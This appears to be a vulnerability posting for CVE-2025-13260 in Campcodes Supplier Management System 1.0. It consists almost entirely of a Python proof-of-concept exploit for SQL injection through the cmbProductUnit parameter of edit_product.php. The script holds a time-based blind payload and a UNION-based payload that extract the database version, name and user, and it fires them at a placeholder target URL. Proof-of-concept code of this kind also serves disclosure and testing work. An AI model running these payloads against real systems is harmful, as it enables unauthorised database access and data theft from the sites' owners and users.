CVE-2025-13260 Campcodes Supplier Management System SQL注入漏洞

import requests import sys # CVE-2025-13260 SQL Injection PoC # Target: Campcodes Supplier Management System 1.0 # Endpoint: /manufacturer/edit_product.php # Parameter: cmbProductUnit TARGET_URL = "http://target.com/manufacturer/edit_product.php" # Blind SQL Injection Payload - Extract database version PAYLOAD_BLIND = "1' AND (SELECT CASE WHEN (SUBSTRING(@@version,1,1)='5') THEN SLEEP(5) ELSE 0 END) AND '1'='1" # Union-based Injection Payload - Extract current database and user PAYLOAD_UNION = "1' UNION SELECT NULL,database(),user(),version(),NULL-- -" def exploit_blind_sqli(): """Blind SQL injection to extract data character by character""" print("[*] Attempting blind SQL injection...") params = { 'id': '1', 'cmbProductUnit': PAYLOAD_BLIND } try: response = requests.get(TARGET_URL, params=params, timeout=10) if response.elapsed.total_seconds() >= 5: print("[+] Blind SQL injection confirmed! Database version starts with '5'") return True except requests.exceptions.RequestException as e: print(f"[-] Request failed: {e}") return False def exploit_union_sqli(): """Union-based SQL injection to extract database information""" print("[*] Attempting union-based SQL injection...") params = { 'id': '1', 'cmbProductUnit': PAYLOAD_UNION } try: response = requests.get(TARGET_URL, params=params) if 'information_schema' in response.text or 'mysql' in response.text.lower(): print("[+] Union SQL injection successful! Database info extracted") return True except requests.exceptions.RequestException as e: print(f"[-] Request failed: {e}") return False if __name__ == "__main__": print("CVE-2025-13260 SQL Injection PoC") print("=" * 50) exploit_blind_sqli() exploit_union_sqli()